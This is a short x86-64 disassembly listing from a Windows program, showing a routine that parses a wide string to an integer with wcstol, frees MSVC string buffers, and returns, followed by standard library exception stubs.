lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rbx, qword [rbp - 0x30]
mov dword [rax], r15d
mov r8d, 0xa
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll_wcstol]
mov r15d, eax
cmp rbx, qword [rbp - 0x38]
je 0x7ff7ec65829a
cmp dword [rdi], 0x22
je 0x7ff7ec6582a7
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x7ff7ec6581ef
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7ec6581ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7ec6581ea
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7ec61e988
mov rax, qword [rsi]
mov word [rax + 0x88], r15w
mov rdx, r14
lea rcx, [rbp - 0x30]
call fcn.7ff7ec657ea0
nop
mov rcx, qword [rsi]
add rcx, 0x90
cmp rcx, rax
je 0x7ff7ec65822d
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x7ff7ec658223
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.7ff7ec566820
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x7ff7ec658270
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7ec65826b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7ec65826b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7ec61e988
mov rdx, qword [rsi]
add rdx, 0x58
mov rcx, r12
call fcn.7ff7ec6374a0
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.7ff7ec61f500
add rsp, 0x70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [0x7ff7ec6ae200]
call sub.msvcp140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_
int3
lea rcx, [0x7ff7ec6ae218]
call sub.msvcp140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_
int3